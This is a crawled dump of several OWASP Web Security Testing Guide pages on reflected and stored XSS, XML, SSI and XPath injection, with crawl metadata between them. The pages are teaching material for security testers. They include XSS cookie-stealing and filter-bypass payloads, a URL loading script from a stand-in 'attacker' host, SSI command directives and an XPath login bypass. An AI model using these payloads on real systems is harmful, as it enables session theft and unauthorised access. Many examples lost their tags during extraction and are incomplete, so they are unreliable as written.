`\">`\n\nFor a comprehensive list of potential test strings see the [XSS Filter Evasion Cheat Sheet](https://owasp.org/www-community/xss-filter-evasion-cheatsheet).\n\n#### Check Impact\n\nFor each test input attempted in the previous phase, the tester will analyze the result and determine if it represents a vulnerability that has a realistic impact on the web application’s security. This requires examining the resulting web page HTML and searching for the test input. Once found, the tester identifies any special characters that were not properly encoded, replaced, or filtered out. The set of vulnerable unfiltered special characters will depend on the context of that section of HTML.\n\nIdeally all HTML special characters will be replaced with HTML entities. The key HTML entities to identify are:\n\n- `>` (greater than)\n- `<` (less than)\n- `&` (ampersand)\n- `'` (apostrophe or single quote)\n- `\"` (double quote)\n\nHowever, a full list of entities is defined by the HTML and XML specifications. [Wikipedia has a complete reference](https://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references).\n\nWithin the context of an HTML action or JavaScript code, a different set of special characters will need to be escaped, encoded, replaced, or filtered out. These characters include:\n\n- `\\n` (new line)\n- `\\r` (carriage return)\n- `'` (apostrophe or single quote)\n- `\"` (double quote)\n- `\\` (backslash)\n- `\\uXXXX` (unicode values)\n\nFor a more complete reference, see the [Mozilla JavaScript guide](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Using_special_characters_in_strings).\n\n#### Example 1\n\nFor example, consider a site that has a welcome notice `Welcome %username%` and a download link.\n\n*Figure 4.7.1-1: XSS Example 1*\n\nThe tester must suspect that every data entry point can result in an XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability.\n\nLet’s try to click on the following link and see what happens:\n\n```\nhttp://example.com/index.php?user=\n```\n\nIf no sanitization is applied this will result in the following popup:\n\n*Figure 4.7.1-2: XSS Example 1*\n\nThis indicates that there is an XSS vulnerability and it appears that the tester can execute code of his choice in anybody’s browser if he clicks on the tester’s link.\n\n#### Example 2\n\nLet’s try other piece of code (link):\n\n```\nhttp://example.com/index.php?user=\n```\n\nThis produces the following behavior:\n\n*Figure 4.7.1-3: XSS Example 2*\n\nThis will cause the user, clicking on the link supplied by the tester, to download the file `malicious.exe` from a site they control.\n\n### Bypass XSS Filters\n\nReflected cross-site scripting attacks are prevented as the web application sanitizes input, a web application firewall blocks malicious input, or by mechanisms embedded in modern web browsers. The tester must test for vulnerabilities assuming that web browsers will not prevent the attack. Browsers may be out of date, or have built-in security features disabled. Similarly, web application firewalls are not guaranteed to recognize novel, unknown attacks. An attacker could craft an attack string that is unrecognized by the web application firewall.\n\nThus, the majority of XSS prevention must depend on the web application’s sanitization of untrusted user input. There are several mechanisms available to developers for sanitization, such as returning an error, removing, encoding, or replacing invalid input. The means by which the application detects and corrects invalid input is another primary weakness in preventing XSS. A deny list may not include all possible attack strings, an allow list may be overly permissive, the sanitization could fail, or a type of input may be incorrectly trusted and remain unsanitized. All of these allow attackers to circumvent XSS filters.\n\nThe [XSS Filter Evasion Cheat Sheet](https://owasp.org/www-community/xss-filter-evasion-cheatsheet) documents common filter evasion tests.\n\n#### Example 3: Tag Attribute Value\n\nSince these filters are based on a deny list, they could not block every type of expressions. In fact, there are cases in which an XSS exploit can be carried out without the use of ``\n- `\">`\n- `\"%3cscript%3ealert(document.cookie)%3c/script%3e`\n\n#### Example 5: Bypassing Non-Recursive Filtering\n\nSometimes the sanitization is applied only once and it is not being performed recursively. In this case the attacker can beat the filter by sending a string containing multiple attempts, like this one:\n\n```\nipt>alert(document.cookie)\n```\n\n#### Example 6: Including External Script\n\nNow suppose that developers of the target site implemented the following code to protect the input from the inclusion of external script:\n\n```\n]+src/i\"; if (preg_match($re, $_GET['var'])) { echo \"Filtered\"; return; } echo \"Welcome \".$_GET['var'].\" !\"; ?> \n```\n\nDecoupling the above regular expression:\n\n1. Check for a `` for one or more occurrences\n4. Check for a `src`\n\nThis is useful for filtering expressions like `` which is a common attack. But, in this case, it is possible to bypass the sanitization by using the `>` character in an attribute between script and src, like this:\n\n```\nhttp://example/?var=\"%20SRC=\"http://attacker/xss.js\">\n```\n\nThis will exploit the reflected cross site scripting vulnerability shown before, executing the JavaScript code stored on the attacker’s web server as if it was originating from the victim web site, `http://example/`.\n\n#### Example 7: HTTP Parameter Pollution (HPP)\n\nAnother method to bypass filters is the HTTP Parameter Pollution, this technique was first presented by Stefano di Paola and Luca Carettoni in 2009 at the OWASP Poland conference. See the [Testing for HTTP Parameter pollution](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/04-Testing_for_HTTP_Parameter_Pollution) for more information. This evasion technique consists of splitting an attack vector between multiple parameters that have the same name. The manipulation of the value of each parameter depends on how each web technology is parsing these parameters, so this type of evasion is not always possible. If the tested environment concatenates the values of all parameters with the same name, then an attacker could use this technique in order to bypass pattern- based security mechanisms.\nRegular attack:\n\n```\nhttp://example/page.php?param=\n```\n\nAttack using HPP:\n\n```\nhttp://example/page.php?param=[...]\n```\n\nSee the [XSS Filter Evasion Cheat Sheet](https://owasp.org/www-community/xss-filter-evasion-cheatsheet) for a more detailed list of filter evasion techniques. Finally, analyzing answers can get complex. A simple way to do this is to use code that pops up a dialog, as in our example. This typically indicates that an attacker could execute arbitrary JavaScript of his choice in the visitors’ browsers.\n\n### Gray-Box Testing\n\nGray-box testing is similar to black-box testing. In gray-box testing, the pen-tester has partial knowledge of the application. In this case, information regarding user input, input validation controls, and how the user input is rendered back to the user might be known by the pen-tester.\n\nIf source code is available (white-box testing), all variables received from users should be analyzed. Moreover the tester should analyze any sanitization procedures implemented to decide if these can be circumvented.\n\n## Tools\n\n- [PHP Charset Encoder(PCE)](https://cybersecurity.wtf/encoder/) helps you encode arbitrary texts to and from 65 kinds of character sets that you can use in your customized payloads.\n- [Hackvertor](https://hackvertor.co.uk/public) is an online tool which allows many types of encoding and obfuscation of JavaScript (or any string input).\n- [XSS-Proxy](http://xss-proxy.sourceforge.net/) is an advanced Cross-Site-Scripting (XSS) attack tool.\n- [ratproxy](https://code.google.com/archive/p/ratproxy/) is a semi-automated, largely passive web application security audit tool, optimized for an accurate and sensitive detection, and automatic annotation, of potential problems and security-relevant design patterns based on the observation of existing, user-initiated traffic in complex web 2.0 environments.\n- [Burp Proxy](https://portswigger.net/burp/) is an interactive HTTP/S proxy server for attacking and testing web applications.\n- [OWASP Zed Attack Proxy (ZAP)](https://www.zaproxy.org) is an interactive HTTP/S proxy server for attacking and testing web applications with a built-in scanner.\n\n## References\n\n### OWASP Resources\n\n- [XSS Filter Evasion Cheat Sheet](https://owasp.org/www-community/xss-filter-evasion-cheatsheet)\n\n### Books\n\n- Joel Scambray, Mike Shema, Caleb Sima - “Hacking Exposed Web Applications”, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0\n- Dafydd Stuttard, Marcus Pinto - “The Web Application’s Handbook - Discovering and Exploiting Security Flaws”, 2008, Wiley, ISBN 978-0-470-17077-9\n- Jeremiah Grossman, Robert “RSnake” Hansen, Petko “pdp” D. Petkov, Anton Rager, Seth Fogie - “Cross Site Scripting Attacks: XSS Exploits and Defense”, 2007, Syngress, ISBN-10: 1-59749-154-3\n\n### Whitepapers\n\n- [CERT - Malicious HTML Tags Embedded in Client Web Requests](https://resources.sei.cmu.edu/asset_files/WhitePaper/2000_019_001_496188.pdf)\n- [cgisecurity.com - The Cross Site Scripting FAQ](https://www.cgisecurity.com/xss-faq.html)\n- [G.Ollmann - HTML Code Injection and Cross-site scripting](http://www.technicalinfo.net/papers/CSS.html)\n- [S. Frei, T. Dübendorfer, G. Ollmann, M. May - Understanding the Web browser threat](https://www.techzoom.net/Publications/Insecurity-Iceberg)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 14013, "slov": 1985, "odkazu": 192, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:43", "sha256": "ec1725c02d87a54c6641c3b80576c2170f7c5d17bf78cfbca10a584798ad66e4", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references", "https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals", "https://cybersecurity.wtf/encoder/", "https://hackvertor.co.uk/public", "http://xss-proxy.sourceforge.net/", "https://code.google.com/archive/p/ratproxy/", "https://portswigger.net/burp/", "https://www.zaproxy.org/", "https://resources.sei.cmu.edu/asset_files/WhitePaper/2000_019_001_496188.pdf", "https://www.cgisecurity.com/xss-faq.html", "http://www.technicalinfo.net/papers/CSS.html", "https://www.techzoom.net/Publications/Insecurity-Iceberg", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/02-Testing_for_Stored_Cross_Site_Scripting", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/02-Testing_for_Stored_Cross_Site_Scripting", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/02-Testing_for_Stored_Cross_Site_Scripting", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "07-Input Validation Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for Stored Cross Site Scripting"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "Input Forms"}, {"uroven": 4, "text": "Analyze HTML Code"}, {"uroven": 4, "text": "Testing for Stored XSS"}, {"uroven": 4, "text": "Leverage Stored XSS with BeEF"}, {"uroven": 4, "text": "File Upload"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "OWASP Resources"}, {"uroven": 3, "text": "Books"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.2\n\n# Testing for Stored Cross Site Scripting\n\n| ID |\n| --- |\n| WSTG-INPV-02 |\n\n## Summary\n\nStored [Cross-site Scripting (XSS)](https://owasp.org/www-community/attacks/xss/) is the most dangerous type of Cross Site Scripting. Web applications that allow users to store data are potentially exposed to this type of attack. This chapter illustrates examples of stored cross site scripting injection and related exploitation scenarios.\n\nStored XSS occurs when a web application gathers input from a user which might be malicious, and then stores that input in a data store for later use. The input that is stored is not correctly filtered. As a consequence, the malicious data will appear to be part of the web site and run within the user’s browser under the privileges of the web application. Since this vulnerability typically involves at least two requests to the application, this may also called second-order XSS.\n\nThis vulnerability can be used to conduct a number of browser-based attacks including:\n\n- Hijacking another user’s browser\n- Capturing sensitive information viewed by application users\n- Pseudo defacement of the application\n- Port scanning of internal hosts (“internal” in relation to the users of the web application)\n- Directed delivery of browser-based exploits\n- Other malicious activities\n\nStored XSS does not need a malicious link to be exploited. A successful exploitation occurs when a user visits a page with a stored XSS. The following phases relate to a typical stored XSS attack scenario:\n\n- Attacker stores malicious code into the vulnerable page\n- User authenticates in the application\n- User visits vulnerable page\n- Malicious code is executed by the user’s browser\n\nThis type of attack can also be exploited with browser exploitation frameworks such as [BeEF](https://beefproject.com) and [XSS Proxy](http://xss-proxy.sourceforge.net/). These frameworks allow for complex JavaScript exploit development.\n\nStored XSS is particularly dangerous in application areas where users with high privileges have access. When the administrator visits the vulnerable page, the attack is automatically executed by their browser. This might expose sensitive information such as session authorization tokens.\n\n## Test Objectives\n\n- Identify stored input that is reflected on the client-side.\n- Assess the input they accept and the encoding that gets applied on return (if any).\n\n## How to Test\n\n### Black-Box Testing\n\nThe process for identifying stored XSS vulnerabilities is similar to the process described during the [testing for reflected XSS](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting).\n\n#### Input Forms\n\nThe first step is to identify all points where user input is stored into the back-end and then displayed by the application. Typical examples of stored user input can be found in:\n\n- User/Profiles page: the application allows the user to edit/change profile details such as first name, last name, nickname, avatar, picture, address, etc.\n- Shopping cart: the application allows the user to store items into the shopping cart which can then be reviewed later\n- File Manager: application that allows upload of files\n- Application settings/preferences: application that allows the user to set preferences\n- Forum/Message board: application that permits exchange of posts among users\n- Blog: if the blog application permits to users submitting comments\n- Log: if the application stores some users input into logs.\n\n#### Analyze HTML Code\n\nInput stored by the application is normally used in HTML tags, but it can also be found as part of JavaScript content. At this stage, it is fundamental to understand if input is stored and how it is positioned in the context of the page. Differently from reflected XSS, the pen-tester should also investigate any out-of-band channels through which the application receives and stores users input.\n\n**Note**: All areas of the application accessible by administrators should be tested to identify the presence of any data submitted by users.\n\n**Example**: Email stored data in `index2.php`\n\n*Figure 4.7.2-1: Stored Input Example*\n\nThe HTML code of index2.php where the email value is located:\n\n```\n \n```\n\nIn this case, the tester needs to find a way to inject code outside the `` tag as below:\n\n```\n MALICIOUS CODE ` - This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of them in Username parameter:\n\n`Username = foo0s4tan@hell.com\n```\n\nIn this case, the final XML database is:\n\n```\n gandalf !c3 0 gandalf@middleearth.com Stefan0 w1s3c 500 Stefan0@whysec.hmm tony Un6R34kb!e0s4tan@hell.com \n```\n\nThe original `userid` node has been commented out, leaving only the injected one. The document now complies with its DTD rules.\n\n## Source Code Review\n\nThe following Java API may be vulnerable to XXE if they are not configured properly.\n\n```\njavax.xml.parsers.DocumentBuilder\njavax.xml.parsers.DocumentBuildFactory\norg.xml.sax.EntityResolver\norg.dom4j.*\njavax.xml.parsers.SAXParser\njavax.xml.parsers.SAXParserFactory\nTransformerFactory\nSAXReader\nDocumentHelper\nSAXBuilder\nSAXParserFactory\nXMLReaderFactory\nXMLInputFactory\nSchemaFactory\nDocumentBuilderFactoryImpl\nSAXTransformerFactory\nDocumentBuilderFactoryImpl\nXMLReader\nXerces: DOMParser, DOMParserImpl, SAXParser, XMLParser\n```\n\nCheck source code if the docType, external DTD, and external parameter entities are set as forbidden uses.\n\n- [XML External Entity (XXE) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n\nIn addition, the Java POI office reader may be vulnerable to XXE if the version is under 3.10.1.\n\nThe version of POI library can be identified from the filename of the JAR. For example,\n\n- `poi-3.8.jar`\n- `poi-ooxml-3.8.jar`\n\nThe followings source code keyword may apply to C.\n\n- libxml2: xmlCtxtReadMemory,xmlCtxtUseOptions,xmlParseInNodeContext,xmlReadDoc,xmlReadFd,xmlReadFile ,xmlReadIO,xmlReadMemory, xmlCtxtReadDoc ,xmlCtxtReadFd,xmlCtxtReadFile,xmlCtxtReadIO\n- libxerces-c: XercesDOMParser, SAXParser, SAX2XMLReader\n\n## Tools\n\n- [XML Injection Fuzz Strings (from wfuzz tool)](https://github.com/xmendez/wfuzz/blob/master/wordlist/Injections/XML.txt)\n\n## References\n\n- [XML Injection](https://www.whitehatsec.com/glossary/content/xml-injection)\n- [Gregory Steuck, “XXE (Xml eXternal Entity) attack”](https://www.securityfocus.com/archive/1/297714)\n- [OWASP XXE Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 12775, "slov": 1731, "odkazu": 182, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:58", "sha256": "a9bd972745b6031db063f0aa7526f991e4cd3b3dae872f1a34d30a356940cfac", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html", "https://github.com/xmendez/wfuzz/blob/master/wordlist/Injections/XML.txt", "https://www.whitehatsec.com/glossary/content/xml-injection", "https://www.securityfocus.com/archive/1/297714", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/08-Testing_for_SSI_Injection", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/08-Testing_for_SSI_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/08-Testing_for_SSI_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "07-Input Validation Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for SSI Injection"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Testing for SSI Injection\n\n| ID |\n| --- |\n| WSTG-INPV-08 |\n\n## Summary\n\nWeb servers usually give developers the ability to add small pieces of dynamic code inside static HTML pages, without having to deal with full-fledged server-side or client-side languages. This feature is provided by [Server-Side Includes](https://owasp.org/www-community/attacks/Server-Side_Includes_%28SSI%29_Injection)(SSI).\n\nServer-Side Includes are directives that the web server parses before serving the page to the user. They represent an alternative to writing CGI programs or embedding code using server-side scripting languages, when there’s only need to perform very simple tasks. Common SSI implementations provide directives (commands) to include external files, to set and print web server CGI environment variables, or to execute external CGI scripts or system commands.\n\nSSI can lead to a Remote Command Execution (RCE), however most webservers have the `exec` directive disabled by default.\n\nThis is a vulnerability very similar to a classical scripting language injection vulnerability. One mitigation is that the web server needs to be configured to allow SSI. On the other hand, SSI injection vulnerabilities are often simpler to exploit, since SSI directives are easy to understand and, at the same time, quite powerful, e.g., they can output the content of files and execute system commands.\n\n## Test Objectives\n\n- Identify SSI injection points.\n- Assess the severity of the injection.\n\n## How to Test\n\nTo test for exploitable SSI, inject SSI directives as user input. If SSI are enabled and user input validation has not been properly implemented, the server will execute the directive. This is very similar to a classical scripting language injection vulnerability in that it occurs when user input is not properly validated and sanitized.\n\nFirst determine if the web server supports SSI directives. Often, the answer is yes, as SSI support is quite common. To determine if SSI directives are supported, discover the type of web server that the target is running using information gathering techniques (see [Fingerprint Web Server](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/02-Fingerprint_Web_Server)). If you have access to the code, determine if SSI directives are used by searching through the webserver configuration files for specific keywords.\n\nAnother way of verifying that SSI directives are enabled is by checking for pages with the `.shtml` extension, which is associated with SSI directives. The use of the `.shtml` extension is not mandatory, so not having found any `.shtml` files doesn’t necessarily mean that the target is not vulnerable to SSI injection attacks.\n\nThe next step is determining all the possible user input vectors and testing to see if the SSI injection is exploitable.\n\nFirst find all the pages where user input is allowed. Possible input vectors may also include headers and cookies. Determine how the input is stored and used, i.e if the input is returned as an error message or page element and if it was modified in some way. Access to the source code can help you to more easily determine where the input vectors are and how input is handled.\n\nOnce you have a list of potential injection points, you may determine if the input is correctly validated. Ensure it is possible to inject characters used in SSI directives such as `` and `[a-zA-Z0-9]`\n\nThe below example returns the value of the variable. The references section has helpful links with server-specific documentation to help you better assess a particular system.\n\n```\n \n```\n\nWhen using the `include` directive, if the supplied file is a CGI script, this directive will include the output of the CGI script. This directive may also be used to include the content of a file or list files in a directory:\n\n```\n \n```\n\nTo return the output of a system command:\n\n```\n \n```\n\nIf the application is vulnerable, the directive is injected and it would be interpreted by the server the next time the page is served.\n\nThe SSI directives can also be injected in the HTTP headers, if the web application is using that data to build a dynamically generated page:\n\n```\nGET / HTTP/1.1\nHost: www.example.com\nReferer: \nUser-Agent: \n```\n\n## Tools\n\n- [Web Proxy Burp Suite](https://portswigger.net/burp/communitydownload)\n- [OWASP ZAP](https://www.zaproxy.org/)\n- [String searcher: grep](https://www.gnu.org/software/grep)\n\n## References\n\n- [Nginx SSI module](http://nginx.org/en/docs/http/ngx_http_ssi_module.html)\n- [Apache: Module mod_include](https://httpd.apache.org/docs/current/mod/mod_include.html)\n- [IIS: Server Side Includes directives](https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525185%28v=vs.90%29)\n- [Apache Tutorial: Introduction to Server Side Includes](https://httpd.apache.org/docs/current/howto/ssi.html)\n- [Apache: Security Tips for Server Configuration](https://httpd.apache.org/docs/current/misc/security_tips.html#ssi)\n- [SSI Injection instead of JavaScript Malware](https://jeremiahgrossman.blogspot.com/2006/08/ssi-injection-instead-of-javascript.html)\n- [IIS: Notes on Server-Side Includes (SSI) syntax](https://blogs.iis.net/robert_mcmurray/archive/2010/12/28/iis-notes-on-server-side-includes-ssi-syntax-kb-203064-revisited.aspx)\n- [Header Based Exploitation](https://www.cgisecurity.com/papers/header-based-exploitation.txt)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 5559, "slov": 758, "odkazu": 191, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:59", "sha256": "2cc98705cdf1f3bc442323062778386e6a026bd41ba91794b7b22d4410d42972", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://portswigger.net/burp/communitydownload", "https://www.zaproxy.org/", "https://www.gnu.org/software/grep", "http://nginx.org/en/docs/http/ngx_http_ssi_module.html", "https://httpd.apache.org/docs/current/mod/mod_include.html", "https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525185(v=vs.90)", "https://httpd.apache.org/docs/current/howto/ssi.html", "https://httpd.apache.org/docs/current/misc/security_tips.html", "https://jeremiahgrossman.blogspot.com/2006/08/ssi-injection-instead-of-javascript.html", "https://blogs.iis.net/robert_mcmurray/archive/2010/12/28/iis-notes-on-server-side-includes-ssi-syntax-kb-203064-revisited.aspx", "https://www.cgisecurity.com/papers/header-based-exploitation.txt", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/09-Testing_for_XPath_Injection", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/09-Testing_for_XPath_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/09-Testing_for_XPath_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "07-Input Validation Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for XPath Injection"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.2\n\n# Testing for XPath Injection\n\n| ID |\n| --- |\n| WSTG-INPV-09 |\n\n## Summary\n\nXPath is a language that has been designed and developed primarily to address parts of an XML document. In XPath injection testing, we test if it is possible to inject XPath syntax into a request interpreted by the application, allowing an attacker to execute user-controlled XPath queries. When successfully exploited, this vulnerability may allow an attacker to bypass authentication mechanisms or access information without proper authorization.\n\nWeb applications heavily use databases to store and access the data they need for their operations. Historically, relational databases have been by far the most common technology for data storage, but, in the last years, we are witnessing an increasing popularity for databases that organize data using the XML language. Just like relational databases are accessed via SQL language, XML databases use XPath as their standard query language.\n\nSince, from a conceptual point of view, XPath is very similar to SQL in its purpose and applications, an interesting result is that XPath injection attacks follow the same logic as [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) attacks. In some aspects, XPath is even more powerful than standard SQL, as its whole power is already present in its specifications, whereas a large number of the techniques that can be used in a SQL Injection attack depend on the characteristics of the SQL dialect used by the target database. This means that XPath injection attacks can be much more adaptable and ubiquitous. Another advantage of an XPath injection attack is that, unlike SQL, no ACLs are enforced, as our query can access every part of the XML document.\n\n## Test Objectives\n\n- Identify XPATH injection points.\n\n## How to Test\n\nThe [XPath attack pattern was first published by Amit Klein](http://dl.packetstormsecurity.net/papers/bypass/Blind_XPath_Injection_20040518.pdf) and is very similar to the usual SQL Injection. In order to get a first grasp of the problem, let’s imagine a login page that manages the authentication to an application in which the user must enter their username and password. Let’s assume that our database is represented by the following XML file:\n\n```\n gandalf !c3 admin Stefan0 w1s3c guest tony Un6R34kb!e guest \n```\n\nAn XPath query that returns the account whose username is `gandalf` and the password is `!c3` would be the following:\n\n`string(//user[username/text()='gandalf' and password/text()='!c3']/account/text())`\n\nIf the application does not properly filter user input, the tester will be able to inject XPath code and interfere with the query result. For instance, the tester could input the following values:\n\n```\nUsername: ' or '1' = '1\nPassword: ' or '1' = '1\n```\n\nLooks quite familiar, doesn’t it? Using these parameters, the query becomes:\n\n`string(//user[username/text()='' or '1' = '1' and password/text()='' or '1' = '1']/account/text())`\n\nAs in a common SQL Injection attack, we have created a query that always evaluates to true, which means that the application will authenticate the user even if a username or a password have not been provided. And as in a common SQL Injection attack, with XPath injection, the first step is to insert a single quote (`'`) in the field to be tested, introducing a syntax error in the query, and to check whether the application returns an error message.\n\nIf there is no knowledge about the XML data internal details and if the application does not provide useful error messages that help us reconstruct its internal logic, it is possible to perform a [Blind XPath Injection](https://owasp.org/www-community/attacks/Blind_XPath_Injection) attack, whose goal is to reconstruct the whole data structure. The technique is similar to inference based SQL Injection, as the approach is to inject code that creates a query that returns one bit of information. [Blind XPath Injection](https://owasp.org/www-community/attacks/Blind_XPath_Injection) is explained in more detail by Amit Klein in the referenced paper.\n\n## References\n\n### Whitepapers\n\n- [Amit Klein: “Blind XPath Injection”](http://dl.packetstormsecurity.net/papers/bypass/Blind_XPath_Injection_20040518.pdf)\n- [XPath 1.0 specifications](https://www.w3.org/TR/1999/REC-xpath-19991116/)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 4628, "slov": 650, "odkazu": 182, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:10:00", "sha256": "5620d33926861847307a412381cb6dc66cdf602b2cb8e072fe39cce967eb6b0c", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://dl.packetstormsecurity.net/papers/bypass/Blind_XPath_Injection_20040518.pdf", "https://www.w3.org/TR/1999/REC-xpath-19991116/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": 